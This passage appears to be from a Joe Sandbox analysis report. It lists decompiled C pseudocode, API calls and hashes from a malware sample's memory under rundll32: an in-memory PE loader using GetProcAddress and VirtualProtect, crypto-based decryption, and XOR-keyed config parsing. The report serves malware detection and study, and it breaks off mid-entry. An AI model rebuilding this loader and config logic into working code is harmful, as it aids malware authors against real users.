                    			E02C81E4A(void* __eax, intOrPtr _a4) {

				 *0x2c841d0 =  *0x2c841d0 & 0x00000000;
				_push(0);
				_push(0x2c841cc);
				_push(1);
				_push(_a4);
				 *0x2c841c8 = 0xc; // executed
				L02C8215E(); // executed
				return __eax;
			}



                    0x02c81e4a
                    0x02c81e51
                    0x02c81e53
                    0x02c81e58
                    0x02c81e5a
                    0x02c81e5e
                    0x02c81e68
                    0x02c81e6d

                    APIs
                    • ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(02C820D1,00000001,02C841CC,00000000), ref: 02C81E68
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: DescriptorSecurity$ConvertString
                    • String ID:
                    • API String ID: 3907675253-0
                    • Opcode ID: 150d3cbf4061d095e6613fbc79c53a37f4a72bcae439c48b079d21b88e11addc
                    • Instruction ID: f1fbe5725dd953e732dd6384d680e45aafed3922ba19f4dc898a4672d5356fae
                    • Opcode Fuzzy Hash: 150d3cbf4061d095e6613fbc79c53a37f4a72bcae439c48b079d21b88e11addc
                    • Instruction Fuzzy Hash: 78C04CB4580342A6F738BF40DC46F257A517760B0EF618B14F600341C0D3F714649A15
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C961DA Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C961DA(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x2c9a2d8, 0, _a4); // executed
				return _t2;
			}




                    0x02c961e6
                    0x02c961ec

                    APIs
                    • RtlFreeHeap.NTDLL(00000000,00000000,02C96383,00000000,?,00000000,00000000), ref: 02C961E6
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: f521e62fc6e88708168c3afedf3c40cc153838377b80e5a01a3875ef9257a67d
                    • Instruction ID: 1f2931cffbc91af0658e9dacce6648794be176ffc231944c9f3859035be23df1
                    • Opcode Fuzzy Hash: f521e62fc6e88708168c3afedf3c40cc153838377b80e5a01a3875ef9257a67d
                    • Instruction Fuzzy Hash: AAB01271980200ABCB214B00DE0CF057A31A758700F104A14F3090007082320430FB15
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C933DC Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C933DC(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x2c9a2d8, 0, _a4); // executed
				return _t2;
			}




                    0x02c933e8
                    0x02c933ee

                    APIs
                    • RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: AllocateHeap
                    • String ID:
                    • API String ID: 1279760036-0
                    • Opcode ID: bd32a091d77db06a5cbf63727eee57c7b9894ff92e906af973f4e2bdfdbec3aa
                    • Instruction ID: 029a43dd6ba7f2de447b3f753e8c1282755f80398effe92274827f8d9c86514b
                    • Opcode Fuzzy Hash: bd32a091d77db06a5cbf63727eee57c7b9894ff92e906af973f4e2bdfdbec3aa
                    • Instruction Fuzzy Hash: 35B01231880200EBDB014B00DD0DF057B21B754700F104A14F2084007082330470FB04
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C82046 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C82046(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x2c84190, 0, _a4); // executed
				return _t2;
			}




                    0x02c82052
                    0x02c82058

                    APIs
                    • RtlAllocateHeap.NTDLL(00000000,?,02C8124D,00000030,74CB63F0,00000000), ref: 02C82052
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: AllocateHeap
                    • String ID:
                    • API String ID: 1279760036-0
                    • Opcode ID: 6d0a4781857919faad81f1759dfaa87c374362b6f3814d8fe5124fdf69239646
                    • Instruction ID: ca482883180f05cb1333d9e04542f2580d3e26daa45de4a5b3b2fae3126046c1
                    • Opcode Fuzzy Hash: 6d0a4781857919faad81f1759dfaa87c374362b6f3814d8fe5124fdf69239646
                    • Instruction Fuzzy Hash: 11B01271D80100ABCA114B00EE04F05BF22B760F00F00C910F3082406083312430EB14
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C81CD6 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C81CD6(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x2c84190, 0, _a4); // executed
				return _t2;
			}




                    0x02c81ce2
                    0x02c81ce8

                    APIs
                    • RtlFreeHeap.NTDLL(00000000,00000030,02C81C29,00000000,00000030,00000000,00000000,00000030,?,?,?,?,?,02C8129B), ref: 02C81CE2
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: 5301f0cca46e6e91a087c009a1c2d002f69b92eb127918cb38a2bc5b9c09470c
                    • Instruction ID: 1b3e9397df8ed32d7ac5c865e5f242fe6aa35ee7cb5412bdf56b2c4db3638d65
                    • Opcode Fuzzy Hash: 5301f0cca46e6e91a087c009a1c2d002f69b92eb127918cb38a2bc5b9c09470c
                    • Instruction Fuzzy Hash: 42B01231C80100EBCA218B00ED04F097E23B760F00F00C910F3051006083319430FB19
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C8166A Relevance: 1.3, APIs: 1, Instructions: 70COMMON
                    Download Yara Rule
                    C-Code - Quality: 85%
                    			E02C8166A(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				void* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x2c841c0;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x2c841c0 - 0x43174ac4 &  !( *0x2c841c0 - 0x43174ac4);
				_t18 = E02C81142( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x2c841c0 - 0x43174ac4 &  !( *0x2c841c0 - 0x43174ac4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x2c841c0 - 0x43174ac4 &  !( *0x2c841c0 - 0x43174ac4), _t16 + 0xbce8a57d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E02C81C51(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t29 = E02C81CEB(_t40, _t44);
						if(_t29 == 0) {
							_t26 = E02C8170E(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E02C81CD6(_t42);
					L8:
					return _t29;
				}
			}













                    0x02c81672
                    0x02c81674
                    0x02c81690
                    0x02c816a1
                    0x02c816a8
                    0x02c81706
                    0x00000000
                    0x02c816aa
                    0x02c816aa
                    0x02c816b4
                    0x02c816b8
                    0x02c816bd
                    0x02c816c5
                    0x02c816c9
                    0x02c816ce
                    0x02c816d3
                    0x02c816d7
                    0x02c816dc
                    0x02c816dd
                    0x02c816e1
                    0x02c816e6
                    0x02c816ee
                    0x02c816ee
                    0x02c816e6
                    0x02c816d7
                    0x02c816c9
                    0x02c816f0
                    0x02c816f9
                    0x02c816fd
                    0x02c81707
                    0x02c8170d
                    0x02c8170d

                    APIs
                      • Part of subcall function 02C81142: GetModuleHandleA.KERNEL32(?,00000020), ref: 02C81166
                      • Part of subcall function 02C81142: GetProcAddress.KERNEL32(00000000,?), ref: 02C81188
                      • Part of subcall function 02C81142: GetProcAddress.KERNEL32(00000000,?), ref: 02C8119E
                      • Part of subcall function 02C81142: GetProcAddress.KERNEL32(00000000,?), ref: 02C811B4
                      • Part of subcall function 02C81142: GetProcAddress.KERNEL32(00000000,?), ref: 02C811CA
                      • Part of subcall function 02C81142: GetProcAddress.KERNEL32(00000000,?), ref: 02C811E0
                      • Part of subcall function 02C81CEB: LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 02C81D23
                      • Part of subcall function 02C8170E: VirtualProtect.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02C81747
                      • Part of subcall function 02C8170E: VirtualProtect.KERNEL32(00000000,?,?,?), ref: 02C817BC
                      • Part of subcall function 02C8170E: GetLastError.KERNEL32 ref: 02C817C2
                    • GetLastError.KERNEL32 ref: 02C816E8
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: AddressProc$ErrorLastProtectVirtual$HandleLibraryLoadModule
                    • String ID:
                    • API String ID: 3135819546-0
                    • Opcode ID: 0670818ae7963623544d92951cca1f5193e62ca532282d84c32e3ef3af3e38ac
                    • Instruction ID: 3eeb97e11d16d81c7f08996b8078c0d8f8bd1b465589bf916f5aca0445fbfc39
                    • Opcode Fuzzy Hash: 0670818ae7963623544d92951cca1f5193e62ca532282d84c32e3ef3af3e38ac
                    • Instruction Fuzzy Hash: E5110B366007116BC721BAA58C84EAB77FDFF8830870C8159E94AA7100EBE0E9078B94
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C933F1 Relevance: 1.3, APIs: 1, Instructions: 43memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C933F1(intOrPtr* __edi, void* _a4, intOrPtr _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E02C958BD(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x2c9a2d8, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E02C92839(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}








                    0x02c933f1
                    0x02c933f9
                    0x02c93410
                    0x02c9342b
                    0x02c9342f
                    0x02c93434
                    0x02c93436
                    0x02c93448
                    0x02c93454
                    0x02c93438
                    0x02c93438
                    0x02c9343d
                    0x02c93442
                    0x02c93442
                    0x02c93436
                    0x02c9345a
                    0x02c9345e
                    0x02c9345e
                    0x02c93405
                    0x02c9340a
                    0x02c9340e
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                      • Part of subcall function 02C92839: SysFreeString.OLEAUT32(00000000), ref: 02C9289C
                    • HeapFree.KERNEL32(00000000,00000000,00000000,80000002,74D0F710,?,00000000,?,00000000,?,02C9528E,?,004F0053,05429218,00000000,?), ref: 02C93454
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Free$HeapString
                    • String ID:
                    • API String ID: 3806048269-0
                    • Opcode ID: 94fa34817db05bd70db4d62477afe92c43f1dba4b66af2f6af1ecbde3fa0d490
                    • Instruction ID: 5c96ef73207100419c110977b0ece76854b3e2466516a1fd6a33eed8729333ae
                    • Opcode Fuzzy Hash: 94fa34817db05bd70db4d62477afe92c43f1dba4b66af2f6af1ecbde3fa0d490
                    • Instruction Fuzzy Hash: E8012C32900559BBDF239F54CC08F9A3F65EF48750F058524FE199B120D731DA60DB90
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C95063 Relevance: 1.3, APIs: 1, Instructions: 36stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 75%
                    			E02C95063(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E02C91508( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E02C933DC(_a8 + _a8);
					if(_t21 != 0) {
						E02C922EA(_a4, _t21, _t23);
					}
					E02C961DA(_a4);
				}
				return _t21;
			}





                    0x02c9506b
                    0x02c95072
                    0x02c95074
                    0x02c95083
                    0x02c9508a
                    0x02c95099
                    0x02c9509d
                    0x02c950a4
                    0x02c950a4
                    0x02c950ac
                    0x02c950b1
                    0x02c950b6

                    APIs
                    • lstrlen.KERNEL32(00000000,00000000,02C93ECE,00000000,?,02C966D9,00000000,02C93ECE,?,7491C740,02C93ECE,00000000,05429600), ref: 02C95074
                      • Part of subcall function 02C91508: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,02C95088,00000001,02C93ECE,00000000), ref: 02C91540
                      • Part of subcall function 02C91508: memcpy.NTDLL(02C95088,02C93ECE,00000010,?,?,?,02C95088,00000001,02C93ECE,00000000,?,02C966D9,00000000,02C93ECE,?,7491C740), ref: 02C91559
                      • Part of subcall function 02C91508: CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 02C91582
                      • Part of subcall function 02C91508: CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 02C9159A
                      • Part of subcall function 02C91508: memcpy.NTDLL(00000000,7491C740,05429600,00000010), ref: 02C915EC
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
                    • String ID:
                    • API String ID: 894908221-0
                    • Opcode ID: 71981e1721f249215ff16e277bdf18f18b70e4372e1386725c1965b721203e9b
                    • Instruction ID: 2043a43840326a6745871667f9c107ec2cd83d434155798ddea8cd8458e7da4c
                    • Opcode Fuzzy Hash: 71981e1721f249215ff16e277bdf18f18b70e4372e1386725c1965b721203e9b
                    • Instruction Fuzzy Hash: 06F05E3A100109BBCF126F55DC48DDE3BAEEF883A0B008022FD1DCA010DB71D655ABE0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Non-executed Functions

                    Function 02C91D8A Relevance: 12.3, APIs: 8, Instructions: 258memoryCOMMONCrypto
                    Download Yara Rule
                    C-Code - Quality: 93%
                    			E02C91D8A(void* __ebx, int* __ecx, void* __edx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				void* _v16;
				signed int _t28;
				signed int _t33;
				signed int _t39;
				char* _t45;
				char* _t46;
				char* _t47;
				char* _t48;
				char* _t49;
				char* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				signed int _t65;
				signed int _t70;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t78;
				signed int _t82;
				signed int _t86;
				signed int _t90;
				signed int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t116;
				void* _t119;
				intOrPtr _t122;

				_t119 = __esi;
				_t116 = __edi;
				_t104 = __ecx;
				_t101 = __ebx;
				_t28 =  *0x2c9a344; // 0x43175ac3
				if(E02C910F8( &_v8,  &_v12, _t28 ^ 0xa23f04a7) != 0 && _v12 >= 0x110) {
					 *0x2c9a374 = _v8;
				}
				_t33 =  *0x2c9a344; // 0x43175ac3
				if(E02C910F8( &_v16,  &_v12, _t33 ^ 0x2bfce340) == 0) {
					_v12 = 2;
					L69:
					return _v12;
				}
				_t39 =  *0x2c9a344; // 0x43175ac3
				_push(_t116);
				if(E02C910F8( &_v12,  &_v8, _t39 ^ 0xcca68722) == 0) {
					L67:
					HeapFree( *0x2c9a2d8, 0, _v16);
					goto L69;
				} else {
					_push(_t101);
					_t102 = _v12;
					if(_t102 == 0) {
						_t45 = 0;
					} else {
						_t98 =  *0x2c9a344; // 0x43175ac3
						_t45 = E02C936C5(_t104, _t102, _t98 ^ 0x523046bc);
					}
					_push(_t119);
					if(_t45 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x2c9a2e0 = _v8;
						}
					}
					if(_t102 == 0) {
						_t46 = 0;
					} else {
						_t94 =  *0x2c9a344; // 0x43175ac3
						_t46 = E02C936C5(_t104, _t102, _t94 ^ 0x0b3e0d40);
					}
					if(_t46 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x2c9a2e4 = _v8;
						}
					}
					if(_t102 == 0) {
						_t47 = 0;
					} else {
						_t90 =  *0x2c9a344; // 0x43175ac3
						_t47 = E02C936C5(_t104, _t102, _t90 ^ 0x1b5903e6);
					}
					if(_t47 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x2c9a2e8 = _v8;
						}
					}
					if(_t102 == 0) {
						_t48 = 0;
					} else {
						_t86 =  *0x2c9a344; // 0x43175ac3
						_t48 = E02C936C5(_t104, _t102, _t86 ^ 0x267c2349);
					}
					if(_t48 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t48, 0,  &_v8) != 0) {
							 *0x2c9a004 = _v8;
						}
					}
					if(_t102 == 0) {
						_t49 = 0;
					} else {
						_t82 =  *0x2c9a344; // 0x43175ac3
						_t49 = E02C936C5(_t104, _t102, _t82 ^ 0x167db74c);
					}
					if(_t49 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t49, 0,  &_v8) != 0) {
							 *0x2c9a02c = _v8;
						}
					}
					if(_t102 == 0) {
						_t50 = 0;
					} else {
						_t78 =  *0x2c9a344; // 0x43175ac3
						_t50 = E02C936C5(_t104, _t102, _t78 ^ 0x02ddbcae);
					}
					if(_t50 == 0) {
						L41:
						 *0x2c9a2ec = 5;
						goto L42;
					} else {
						_t104 =  &_v8;
						if(StrToIntExA(_t50, 0,  &_v8) == 0 || _v8 == 0) {
							goto L41;
						} else {
							L42:
							if(_t102 == 0) {
								_t51 = 0;
							} else {
								_t75 =  *0x2c9a344; // 0x43175ac3
								_t51 = E02C936C5(_t104, _t102, _t75 ^ 0x0cbf33fd);
							}
							if(_t51 != 0) {
								_push(_t51);
								_t72 = 0x10;
								_t73 = E02C95B85(_t72);
								if(_t73 != 0) {
									_push(_t73);
									E02C9607C();
								}
							}
							if(_t102 == 0) {
								_t52 = 0;
							} else {
								_t70 =  *0x2c9a344; // 0x43175ac3
								_t52 = E02C936C5(_t104, _t102, _t70 ^ 0x93710135);
							}
							if(_t52 != 0 && E02C95B85(0, _t52) != 0) {
								_t122 =  *0x2c9a3cc; // 0x5429600
								E02C95364(_t122 + 4, _t68);
							}
							if(_t102 == 0) {
								_t53 = 0;
							} else {
								_t65 =  *0x2c9a344; // 0x43175ac3
								_t53 = E02C936C5(_t104, _t102, _t65 ^ 0x175474b7);
							}
							if(_t53 == 0) {
								L59:
								_t54 =  *0x2c9a348; // 0x278d5a8
								_t22 = _t54 + 0x2c9b5f3; // 0x616d692f
								 *0x2c9a370 = _t22;
								goto L60;
							} else {
								_t64 = E02C95B85(0, _t53);
								 *0x2c9a370 = _t64;
								if(_t64 != 0) {
									L60:
									if(_t102 == 0) {
										_t56 = 0;
									} else {
										_t61 =  *0x2c9a344; // 0x43175ac3
										_t56 = E02C936C5(_t104, _t102, _t61 ^ 0xf8a29dde);
									}
									if(_t56 == 0) {
										_t57 =  *0x2c9a348; // 0x278d5a8
										_t23 = _t57 + 0x2c9b899; // 0x6976612e
										_t58 = _t23;
									} else {
										_t58 = E02C95B85(0, _t56);
									}
									 *0x2c9a3e0 = _t58;
									HeapFree( *0x2c9a2d8, 0, _t102);
									_v12 = 0;
									goto L67;
								}
								goto L59;
							}
						}
					}
				}
			}








































                    0x02c91d8a
                    0x02c91d8a
                    0x02c91d8a
                    0x02c91d8a
                    0x02c91d8d
                    0x02c91daa
                    0x02c91db8
                    0x02c91db8
                    0x02c91dbd
                    0x02c91dd7
                    0x02c92045
                    0x02c9204c
                    0x02c92050
                    0x02c92050
                    0x02c91ddd
                    0x02c91de2
                    0x02c91dfa
                    0x02c92032
                    0x02c9203c
                    0x00000000
                    0x02c91e00
                    0x02c91e00
                    0x02c91e01
                    0x02c91e06
                    0x02c91e1c
                    0x02c91e08
                    0x02c91e08
                    0x02c91e15
                    0x02c91e15
                    0x02c91e1e
                    0x02c91e27
                    0x02c91e29
                    0x02c91e33
                    0x02c91e38
                    0x02c91e38
                    0x02c91e33
                    0x02c91e3f
                    0x02c91e55
                    0x02c91e41
                    0x02c91e41
                    0x02c91e4e
                    0x02c91e4e
                    0x02c91e59
                    0x02c91e5b
                    0x02c91e65
                    0x02c91e6a
                    0x02c91e6a
                    0x02c91e65
                    0x02c91e71
                    0x02c91e87
                    0x02c91e73
                    0x02c91e73
                    0x02c91e80
                    0x02c91e80
                    0x02c91e8b
                    0x02c91e8d
                    0x02c91e97
                    0x02c91e9c
                    0x02c91e9c
                    0x02c91e97
                    0x02c91ea3
                    0x02c91eb9
                    0x02c91ea5
                    0x02c91ea5
                    0x02c91eb2
                    0x02c91eb2
                    0x02c91ebd
                    0x02c91ebf
                    0x02c91ec9
                    0x02c91ece
                    0x02c91ece
                    0x02c91ec9
                    0x02c91ed5
                    0x02c91eeb
                    0x02c91ed7
                    0x02c91ed7
                    0x02c91ee4
                    0x02c91ee4
                    0x02c91eef
                    0x02c91ef1
                    0x02c91efb
                    0x02c91f00
                    0x02c91f00
                    0x02c91efb
                    0x02c91f07
                    0x02c91f1d
                    0x02c91f09
                    0x02c91f09
                    0x02c91f16
                    0x02c91f16
                    0x02c91f21
                    0x02c91f34
                    0x02c91f34
                    0x00000000
                    0x02c91f23
                    0x02c91f23
                    0x02c91f2d
                    0x00000000
                    0x02c91f3e
                    0x02c91f3e
                    0x02c91f40
                    0x02c91f56
                    0x02c91f42
                    0x02c91f42
                    0x02c91f4f
                    0x02c91f4f
                    0x02c91f5a
                    0x02c91f5c
                    0x02c91f5f
                    0x02c91f60
                    0x02c91f67
                    0x02c91f69
                    0x02c91f6a
                    0x02c91f6a
                    0x02c91f67
                    0x02c91f71
                    0x02c91f87
                    0x02c91f73
                    0x02c91f73
                    0x02c91f80
                    0x02c91f80
                    0x02c91f8b
                    0x02c91f99
                    0x02c91fa3
                    0x02c91fa3
                    0x02c91fab
                    0x02c91fc1
                    0x02c91fad
                    0x02c91fad
                    0x02c91fba
                    0x02c91fba
                    0x02c91fc5
                    0x02c91fd8
                    0x02c91fd8
                    0x02c91fdd
                    0x02c91fe3
                    0x00000000
                    0x02c91fc7
                    0x02c91fca
                    0x02c91fcf
                    0x02c91fd6
                    0x02c91fe8
                    0x02c91fea
                    0x02c92000
                    0x02c91fec
                    0x02c91fec
                    0x02c91ff9
                    0x02c91ff9
                    0x02c92004
                    0x02c92010
                    0x02c92015
                    0x02c92015
                    0x02c92006
                    0x02c92009
                    0x02c92009
                    0x02c92023
                    0x02c92028
                    0x02c9202e
                    0x00000000
                    0x02c92031
                    0x00000000
                    0x02c91fd6
                    0x02c91fc5
                    0x02c91f2d
                    0x02c91f21

                    APIs
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,02C9A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C91E2F
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,02C9A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C91E61
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,02C9A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C91E93
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,02C9A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C91EC5
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,02C9A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C91EF7
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,02C9A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 02C91F29
                    • HeapFree.KERNEL32(00000000,?,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 02C92028
                    • HeapFree.KERNEL32(00000000,?,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 02C9203C
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: 3bb7d0aa9a2ae3135333d5f894b5032c3b3784ffafaf7db07953b414690d8541
                    • Instruction ID: 5d4c3608745ef39206e6dac4964cc7f2b1d0ab8927e90927bcabd3aea76e254d
